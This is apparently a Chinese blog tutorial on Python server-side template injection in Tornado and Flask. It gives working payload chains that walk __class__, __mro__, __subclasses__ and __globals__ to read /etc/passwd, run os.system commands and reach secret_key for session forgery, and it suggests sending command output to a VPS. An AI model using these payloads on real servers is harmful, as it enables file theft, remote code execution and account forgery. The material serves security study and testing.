python SSTI利用

Posted 2020-11-13 Hanamizuki花水木

原理
python的SSTI不仅可以向网页插入一些XSS代码，而且还可以获取一些变量和函数信息，尤其是secret_key，如果获取到则可以对flask框架的session可以进行伪造。
对于tornado框架，render(request, ‘account/login.html‘, {‘error‘: error_msg}如果error_msg用户可控，那么就存在注入。
如果error_msg为<script>alert(1)</script>，如果没有过滤则会执行XSS
如果error_msg为{{data}}的话，data则可以执行一些简单的表达式和获取变量，例如:
用户输入error_msg:{{1+1}} 页面则返回:2
对于flask框架，有时需要根据需要对页面进行显示类中的一些属性，例如用户传入name则返回类中name属性，传入id返回类中id属性的话，那么就可以利用一些魔术方法获得全局变量，例如:
对于返回的是定义的Class内的话:
__dict__   //返回类中的函数和属性，父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组，(寻找父类) python3
__init__ //返回类的初始化方法   
__subclasses__()  //返回类中仍然可用的引用  python3
__globals__  //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象，可以使类实例指向Class，使用上面的魔术方法

对于tornado render注入类似的利用
一。任意文件读取
①{{‘ ‘.__class__}}        //  <class ‘str‘>
②{{‘ ‘.__class__.__mro__}}  // (<class ‘str‘>, <class ‘object‘>)
③{{‘ ‘.__class__.__mro__[1].__subclasses__()}}  //取到object类的子类，如下:
[<class ‘type‘>, <class ‘weakref‘>, <class ‘weakcallableproxy‘>, <class ‘weakproxy‘>, <class ‘int‘>, <class ‘bytearray‘>, <class ‘bytes‘>, <class ‘list‘>, <class ‘NoneType‘>, <class ‘NotImplementedType‘>, <class ‘traceback‘>, <class ‘super‘>, <class ‘range‘>, <class ‘dict‘>, <class ‘dict_keys‘>, <class ‘dict_values‘>, <class ‘dict_items‘>, <class ‘odict_iterator‘>, <class ‘set‘>, <class ‘str‘>, <class ‘slice‘>, <class ‘staticmethod‘>, <class ‘complex‘>, <class ‘float‘>, <class ‘frozenset‘>, <class ‘property‘>, <class ‘managedbuffer‘>, <class ‘memoryview‘>, <class ‘tuple‘>, <class ‘enumerate‘>, <class ‘reversed‘>, <class ‘stderrprinter‘>, <class ‘code‘>, <class ‘frame‘>, <class ‘builtin_function_or_method‘>, <class ‘method‘>, <class ‘function‘>, <class ‘mappingproxy‘>, <class ‘generator‘>, <class ‘getset_descriptor‘>, <class ‘wrapper_descriptor‘>, <class ‘method-wrapper‘>, <class ‘ellipsis‘>, <class ‘member_descriptor‘>, <class ‘types.SimpleNamespace‘>, <class ‘PyCapsule‘>, <class ‘longrange_iterator‘>, <class ‘cell‘>, <class ‘instancemethod‘>, <class ‘classmethod_descriptor‘>, <class ‘method_descriptor‘>, <class ‘callable_iterator‘>, <class ‘iterator‘>, <class ‘coroutine‘>, <class ‘coroutine_wrapper‘>, <class ‘EncodingMap‘>, <class ‘fieldnameiterator‘>, <class ‘formatteriterator‘>, <class ‘filter‘>, <class ‘map‘>, <class ‘zip‘>, <class ‘moduledef‘>, <class ‘module‘>, <class ‘BaseException‘>, <class ‘_frozen_importlib._ModuleLock‘>, <class ‘_frozen_importlib._DummyModuleLock‘>, <class ‘_frozen_importlib._ModuleLockManager‘>, <class ‘_frozen_importlib._installed_safely‘>, <class ‘_frozen_importlib.ModuleSpec‘>, <class ‘_frozen_importlib.BuiltinImporter‘>, <class ‘classmethod‘>, <class ‘_frozen_importlib.FrozenImporter‘>, <class ‘_frozen_importlib._ImportLockContext‘>, <class ‘_thread._localdummy‘>, <class ‘_thread._local‘>, <class ‘_thread.lock‘>, <class ‘_thread.RLock‘>, <class ‘_frozen_importlib_external.WindowsRegistryFinder‘>, <class ‘_frozen_importlib_external._LoaderBasics‘>, <class ‘_frozen_importlib_external.FileLoader‘>, <class ‘_frozen_importlib_external._NamespacePath‘>, <class ‘_frozen_importlib_external._NamespaceLoader‘>, <class ‘_frozen_importlib_external.PathFinder‘>, <class ‘_frozen_importlib_external.FileFinder‘>, <class ‘_io._IOBase‘>, <class ‘_io._BytesIOBuffer‘>, <class ‘_io.IncrementalNewlineDecoder‘>, <class ‘posix.ScandirIterator‘>, <class ‘posix.DirEntry‘>, <class ‘zipimport.zipimporter‘>, <class ‘codecs.Codec‘>, <class ‘codecs.IncrementalEncoder‘>, <class ‘codecs.IncrementalDecoder‘>, <class ‘codecs.StreamReaderWriter‘>, <class ‘codecs.StreamRecoder‘>, <class ‘_weakrefset._IterationGuard‘>, <class ‘_weakrefset.WeakSet‘>, <class ‘abc.ABC‘>, <class ‘collections.abc.Hashable‘>, <class ‘collections.abc.Awaitable‘>, <class ‘collections.abc.AsyncIterable‘>, <class ‘async_generator‘>, <class ‘collections.abc.Iterable‘>, <class ‘bytes_iterator‘>, <class ‘bytearray_iterator‘>, <class ‘dict_keyiterator‘>, <class ‘dict_valueiterator‘>, <class ‘dict_itemiterator‘>, <class ‘list_iterator‘>, <class ‘list_reverseiterator‘>, <class ‘range_iterator‘>, <class ‘set_iterator‘>, <class ‘str_iterator‘>, <class ‘tuple_iterator‘>, <class ‘collections.abc.Sized‘>, <class ‘collections.abc.Container‘>, <class ‘collections.abc.Callable‘>, <class ‘os._wrap_close‘>, <class ‘_sitebuiltins.Quitter‘>, <class ‘_sitebuiltins._Printer‘>, <class ‘_sitebuiltins._Helper‘>, <class ‘__main__.Parent‘>]
④{{‘ ‘.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd‘).read()}} //取到<type ‘file‘>读取文件
二。命令执行
①{{‘ ‘.__class__.__mro__[1].__subclasses__()}}  //和前面一样先取到object类的子类
②{{‘ ‘.__class__.__mro__[2].__subclasses__()[119].__init__}} //取到<class ‘_sitebuiltins._Printer‘>__init__的地址
③{{‘ ‘.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__}}//获得<class ‘_sitebuiltins._Printer‘>类的所有的全局变量
④{{‘ ‘.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__[‘os‘].system(‘ls‘)}} //找到os类执行代码，注:自身实验不存在，视情况而定，命令执行结果无法直接看到，可以用curl将结果发送到vps
上面例子的实际运用:
在一般情况下，模板注入的地方都是位于服务端构造的一个类内，所以可以用
1.__class__.__init__.__globals__  //获得当前类的全局变量
2.__class__.__mro__   //查看所有的类，再用__class__.__mro__[number].__init__.__globals__查看变量
3.__class__.__init__.__globals__[app].__dict__ //查看内部的详细信息
如果获得secret_key就可以伪造session